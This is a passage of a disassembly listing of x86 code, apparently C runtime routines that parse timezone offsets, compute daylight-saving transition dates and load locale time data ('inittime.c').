		movsx	eax, byte ptr [edx]
		cmp	eax, 3Ah
		jnz	loc_42E2D5
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_41B2F0
		add	esp, 4
		imul	eax, 3Ch
		mov	ecx, dword_451D48
		add	ecx, eax
		mov	dword_451D48, ecx


loc_42E265:				; CODE XREF: sub_42DF80+304j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_42E286
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_42E286
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42E265
; ---------------------------------------------------------------------------


loc_42E286:				; CODE XREF: sub_42DF80+2EEj
					; sub_42DF80+2F9j
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Ah
		jnz	short loc_42E2D5
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41B2F0
		add	esp, 4
		mov	edx, dword_451D48
		add	edx, eax
		mov	dword_451D48, edx


loc_42E2B4:				; CODE XREF: sub_42DF80+353j
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jl	short loc_42E2D5
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 39h
		jg	short loc_42E2D5
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_42E2B4
; ---------------------------------------------------------------------------


loc_42E2D5:				; CODE XREF: sub_42DF80+2B9j
					; sub_42DF80+30Fj ...
		cmp	[ebp+var_4], 0
		jz	short loc_42E2E9
		mov	edx, dword_451D48
		neg	edx
		mov	dword_451D48, edx


loc_42E2E9:				; CODE XREF: sub_42DF80+359j
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		mov	dword_451D4C, ecx
		cmp	dword_451D4C, 0
		jz	short loc_42E31E
		push	3
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, off_451DD8
		push	eax
		call	sub_41B1F0
		add	esp, 0Ch
		mov	ecx, off_451DD8
		mov	byte ptr [ecx+3], 0
		jmp	short loc_42E327
; ---------------------------------------------------------------------------


loc_42E31E:				; CODE XREF: sub_42DF80+37Cj
		mov	edx, off_451DD8
		mov	byte ptr [edx],	0


loc_42E327:				; CODE XREF: sub_42DF80:loc_42E0FEj
					; sub_42DF80+1B7j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42DF80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E330	proc near		; CODE XREF: sub_4287B0+CFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Bh
		call	sub_41FB40
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E360
		add	esp, 4
		mov	[ebp+var_4], eax
		push	0Bh
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42E330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E360	proc near		; CODE XREF: sub_42E330+12p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_451D4C, 0
		jnz	short loc_42E374
		xor	eax, eax
		jmp	loc_42E656
; ---------------------------------------------------------------------------


loc_42E374:				; CODE XREF: sub_42E360+Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		cmp	ecx, dword_451DE0
		jnz	short loc_42E394
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		cmp	eax, dword_451DF0
		jz	loc_42E55B


loc_42E394:				; CODE XREF: sub_42E360+20j
		cmp	dword_4EFAD8, 0
		jz	loc_42E515
		xor	ecx, ecx
		mov	cx, word_4EFB78
		test	ecx, ecx
		jnz	short loc_42E409
		xor	edx, edx
		mov	dx, word_4EFB86
		push	edx
		xor	eax, eax
		mov	ax, word_4EFB84
		push	eax
		xor	ecx, ecx
		mov	cx, word_4EFB82
		push	ecx
		xor	edx, edx
		mov	dx, word_4EFB80
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4EFB7C
		push	eax
		xor	ecx, ecx
		mov	cx, word_4EFB7E
		push	ecx
		xor	edx, edx
		mov	dx, word_4EFB7A
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	1
		call	sub_42E660
		add	esp, 2Ch
		jmp	short loc_42E45A
; ---------------------------------------------------------------------------


loc_42E409:				; CODE XREF: sub_42E360+4Cj
		xor	edx, edx
		mov	dx, word_4EFB86
		push	edx
		xor	eax, eax
		mov	ax, word_4EFB84
		push	eax
		xor	ecx, ecx
		mov	cx, word_4EFB82
		push	ecx
		xor	edx, edx
		mov	dx, word_4EFB80
		push	edx
		xor	eax, eax
		mov	ax, word_4EFB7E
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4EFB7A
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	1
		call	sub_42E660
		add	esp, 2Ch


loc_42E45A:				; CODE XREF: sub_42E360+A7j
		xor	ecx, ecx
		mov	cx, word_4EFB24
		test	ecx, ecx
		jnz	short loc_42E4C2
		xor	edx, edx
		mov	dx, word_4EFB32
		push	edx
		xor	eax, eax
		mov	ax, word_4EFB30
		push	eax
		xor	ecx, ecx
		mov	cx, word_4EFB2E
		push	ecx
		xor	edx, edx
		mov	dx, word_4EFB2C
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4EFB28
		push	eax
		xor	ecx, ecx
		mov	cx, word_4EFB2A
		push	ecx
		xor	edx, edx
		mov	dx, word_4EFB26
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	sub_42E660
		add	esp, 2Ch
		jmp	short loc_42E513
; ---------------------------------------------------------------------------


loc_42E4C2:				; CODE XREF: sub_42E360+105j
		xor	edx, edx
		mov	dx, word_4EFB32
		push	edx
		xor	eax, eax
		mov	ax, word_4EFB30
		push	eax
		xor	ecx, ecx
		mov	cx, word_4EFB2E
		push	ecx
		xor	edx, edx
		mov	dx, word_4EFB2C
		push	edx
		xor	eax, eax
		mov	ax, word_4EFB2A
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4EFB26
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	0
		call	sub_42E660
		add	esp, 2Ch


loc_42E513:				; CODE XREF: sub_42E360+160j
		jmp	short loc_42E55B
; ---------------------------------------------------------------------------


loc_42E515:				; CODE XREF: sub_42E360+3Bj
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	1
		push	4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		push	edx
		push	1
		push	1
		call	sub_42E660
		add	esp, 2Ch
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	5
		push	0Ah
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	sub_42E660
		add	esp, 2Ch


loc_42E55B:				; CODE XREF: sub_42E360+2Ej
					; sub_42E360:loc_42E513j
		mov	edx, dword_451DE4
		cmp	edx, dword_451DF4
		jge	short loc_42E5B4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_451DE4
		jl	short loc_42E585
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_451DF4
		jle	short loc_42E58C


loc_42E585:				; CODE XREF: sub_42E360+215j
		xor	eax, eax
		jmp	loc_42E656
; ---------------------------------------------------------------------------


loc_42E58C:				; CODE XREF: sub_42E360+223j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_451DE4
		jle	short loc_42E5B2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_451DF4
		jge	short loc_42E5B2
		mov	eax, 1
		jmp	loc_42E656
; ---------------------------------------------------------------------------


loc_42E5B2:				; CODE XREF: sub_42E360+238j
					; sub_42E360+246j
		jmp	short loc_42E5F7
; ---------------------------------------------------------------------------


loc_42E5B4:				; CODE XREF: sub_42E360+207j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_451DF4
		jl	short loc_42E5D0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_451DE4
		jle	short loc_42E5D7


loc_42E5D0:				; CODE XREF: sub_42E360+260j
		mov	eax, 1
		jmp	short loc_42E656
; ---------------------------------------------------------------------------


loc_42E5D7:				; CODE XREF: sub_42E360+26Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_451DF4
		jle	short loc_42E5F7
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_451DE4
		jge	short loc_42E5F7
		xor	eax, eax
		jmp	short loc_42E656
; ---------------------------------------------------------------------------


loc_42E5F7:				; CODE XREF: sub_42E360:loc_42E5B2j
					; sub_42E360+283j ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		imul	edx, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		imul	eax, 0E10h
		add	ecx, eax
		imul	ecx, 3E8h
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_451DE4
		jnz	short loc_42E642
		mov	eax, [ebp+var_4]
		cmp	eax, dword_451DE8
		jl	short loc_42E63E
		mov	eax, 1
		jmp	short loc_42E656
; ---------------------------------------------------------------------------


loc_42E63E:				; CODE XREF: sub_42E360+2D5j
		xor	eax, eax
		jmp	short loc_42E656
; ---------------------------------------------------------------------------


loc_42E642:				; CODE XREF: sub_42E360+2CAj
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_451DF8
		jge	short loc_42E654
		mov	eax, 1
		jmp	short loc_42E656
; ---------------------------------------------------------------------------


loc_42E654:				; CODE XREF: sub_42E360+2EBj
		xor	eax, eax


loc_42E656:				; CODE XREF: sub_42E360+Fj
					; sub_42E360+227j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42E360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E660	proc near		; CODE XREF: sub_42E360+9Fp
					; sub_42E360+F2p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 1
		jnz	loc_42E73C
		mov	eax, [ebp+arg_8]
		and	eax, 3
		test	eax, eax
		jnz	short loc_42E689
		mov	ecx, [ebp+arg_C]
		mov	edx, dword_451DF8[ecx*4]
		mov	[ebp+var_C], edx
		jmp	short loc_42E696
; ---------------------------------------------------------------------------


loc_42E689:				; CODE XREF: sub_42E660+18j
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_451E2C[eax*4]
		mov	[ebp+var_C], ecx


loc_42E696:				; CODE XREF: sub_42E660+27j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_8]
		sub	eax, 46h
		imul	eax, 16Dh
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		sar	edx, 2
		lea	eax, [ecx+edx-0Dh]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_14]
		jge	short loc_42E6E9
		mov	eax, [ebp+arg_14]
		sub	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_10]
		sub	ecx, 1
		imul	ecx, 7
		add	ecx, [ebp+var_8]
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_42E6FD
; ---------------------------------------------------------------------------


loc_42E6E9:				; CODE XREF: sub_42E660+6Ej
		mov	edx, [ebp+arg_14]
		sub	edx, [ebp+var_4]
		mov	eax, [ebp+arg_10]
		imul	eax, 7
		add	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax


loc_42E6FD:				; CODE XREF: sub_42E660+87j
		cmp	[ebp+arg_10], 5
		jnz	short loc_42E73A
		mov	ecx, [ebp+arg_8]
		and	ecx, 3
		test	ecx, ecx
		jnz	short loc_42E71C
		mov	edx, [ebp+arg_C]
		mov	eax, dword_451DFC[edx*4]
		mov	[ebp+var_10], eax
		jmp	short loc_42E729
; ---------------------------------------------------------------------------


loc_42E71C:				; CODE XREF: sub_42E660+ABj
		mov	ecx, [ebp+arg_C]
		mov	edx, dword_451E30[ecx*4]
		mov	[ebp+var_10], edx


loc_42E729:				; CODE XREF: sub_42E660+BAj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_10]
		jle	short loc_42E73A
		mov	ecx, [ebp+var_8]
		sub	ecx, 7
		mov	[ebp+var_8], ecx


loc_42E73A:				; CODE XREF: sub_42E660+A1j
					; sub_42E660+CFj
		jmp	short loc_42E771
; ---------------------------------------------------------------------------


loc_42E73C:				; CODE XREF: sub_42E660+Aj
		mov	edx, [ebp+arg_8]
		and	edx, 3
		test	edx, edx
		jnz	short loc_42E755
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_451DF8[eax*4]
		mov	[ebp+var_14], ecx
		jmp	short loc_42E762
; ---------------------------------------------------------------------------


loc_42E755:				; CODE XREF: sub_42E660+E4j
		mov	edx, [ebp+arg_C]
		mov	eax, dword_451E2C[edx*4]
		mov	[ebp+var_14], eax


loc_42E762:				; CODE XREF: sub_42E660+F3j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+arg_18]
		mov	[ebp+var_8], edx


loc_42E771:				; CODE XREF: sub_42E660:loc_42E73Aj
		cmp	[ebp+arg_0], 1
		jnz	short loc_42E7B1
		mov	eax, [ebp+var_8]
		mov	dword_451DE4, eax
		mov	ecx, [ebp+arg_1C]
		imul	ecx, 3Ch
		mov	edx, [ebp+arg_20]
		add	edx, ecx
		imul	edx, 3Ch
		mov	eax, [ebp+arg_24]
		add	eax, edx
		imul	eax, 3E8h
		mov	ecx, [ebp+arg_28]
		add	ecx, eax
		mov	dword_451DE8, ecx
		mov	edx, [ebp+arg_8]
		mov	dword_451DE0, edx
		jmp	loc_42E854
; ---------------------------------------------------------------------------


loc_42E7B1:				; CODE XREF: sub_42E660+115j
		mov	eax, [ebp+var_8]
		mov	dword_451DF4, eax
		mov	ecx, [ebp+arg_1C]
		imul	ecx, 3Ch
		mov	edx, [ebp+arg_20]
		add	edx, ecx
		imul	edx, 3Ch
		mov	eax, [ebp+arg_24]
		add	eax, edx
		imul	eax, 3E8h
		mov	ecx, [ebp+arg_28]
		add	ecx, eax
		mov	dword_451DF8, ecx
		mov	edx, dword_451D50
		imul	edx, 3E8h
		mov	eax, dword_451DF8
		add	eax, edx
		mov	dword_451DF8, eax
		cmp	dword_451DF8, 0
		jge	short loc_42E821
		mov	ecx, dword_451DF8
		add	ecx, 5265C00h
		mov	dword_451DF8, ecx
		mov	edx, dword_451DF4
		sub	edx, 1
		mov	dword_451DF4, edx
		jmp	short loc_42E84B
; ---------------------------------------------------------------------------


loc_42E821:				; CODE XREF: sub_42E660+19Cj
		cmp	dword_451DF8, 5265C00h
		jl	short loc_42E84B
		mov	eax, dword_451DF8
		sub	eax, 5265C00h
		mov	dword_451DF8, eax
		mov	ecx, dword_451DF4
		add	ecx, 1
		mov	dword_451DF4, ecx


loc_42E84B:				; CODE XREF: sub_42E660+1BFj
					; sub_42E660+1CBj
		mov	edx, [ebp+arg_8]
		mov	dword_451DF0, edx


loc_42E854:				; CODE XREF: sub_42E660+14Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_42E660	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E860	proc near		; DATA XREF: .nsp0:00451BC4o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4EF980, 0
		jz	loc_42E901
		push	48h
		push	offset aInittime_c ; "inittime.c"
		push	2
		push	0ACh
		push	1
		call	sub_419300
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42E89C
		mov	eax, 1
		jmp	loc_42E937
; ---------------------------------------------------------------------------


loc_42E89C:				; CODE XREF: sub_42E860+30j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42E940
		add	esp, 4
		test	eax, eax
		jz	short loc_42E8CD
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42EED0
		add	esp, 4
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_419980
		add	esp, 8
		mov	eax, 1
		jmp	short loc_42E937
; ---------------------------------------------------------------------------


loc_42E8CD:				; CODE XREF: sub_42E860+4Aj
		mov	eax, [ebp+var_4]
		mov	off_4525E8, eax
		mov	ecx, dword_4EFB94
		push	ecx
		call	sub_42EED0
		add	esp, 4
		push	2
		mov	edx, dword_4EFB94
		push	edx
		call	sub_419980
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	dword_4EFB94, eax
		xor	eax, eax
		jmp	short loc_42E937
; ---------------------------------------------------------------------------


loc_42E901:				; CODE XREF: sub_42E860+Bj
		mov	off_4525E8, offset off_4525F0
		mov	ecx, dword_4EFB94
		push	ecx
		call	sub_42EED0
		add	esp, 4
		push	2
		mov	edx, dword_4EFB94
		push	edx
		call	sub_419980
		add	esp, 8
		mov	dword_4EFB94, 0
		xor	eax, eax


loc_42E937:				; CODE XREF: sub_42E860+37j
					; sub_42E860+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42E860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E940	proc near		; CODE XREF: sub_42E860+40p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], 0
		xor	eax, eax
		mov	ax, word_4EFBCE
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		mov	cx, word_4EFBD0
		mov	[ebp+var_8], ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_42E972
		or	eax, 0FFFFFFFFh
		jmp	loc_42EECB
; ---------------------------------------------------------------------------


loc_42E972:				; CODE XREF: sub_42E940+28j
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		push	31h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8
		push	edx
		push	32h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0Ch
		push	edx
		push	33h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 10h
		push	edx
		push	34h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx
		push	35h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 18h
		push	edx
		push	36h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	37h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 20h
		push	edx
		push	2Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 24h
		push	edx
		push	2Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 28h
		push	edx
		push	2Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ch
		push	edx
		push	2Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 30h
		push	edx
		push	2Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 34h
		push	edx
		push	2Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx
		push	30h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 38h
		push	edx
		push	44h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 3Ch
		push	edx
		push	45h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		push	edx
		push	46h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 44h
		push	edx
		push	47h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 48h
		push	edx
		push	48h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 4Ch
		push	edx
		push	49h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 50h
		push	edx
		push	4Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 54h
		push	edx
		push	4Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 58h
		push	edx
		push	4Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 5Ch
		push	edx
		push	4Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 60h
		push	edx
		push	4Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 64h
		push	edx
		push	4Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 68h
		push	edx
		push	38h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 6Ch
		push	edx
		push	39h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 70h
		push	edx
		push	3Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 74h
		push	edx
		push	3Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 78h
		push	edx
		push	3Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 7Ch
		push	edx
		push	3Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		push	3Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 84h
		push	edx
		push	3Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 88h
		push	edx
		push	40h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8Ch
		push	edx
		push	41h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 90h
		push	edx
		push	42h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 94h
		push	edx
		push	43h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4338F0
		add	esp, 10h
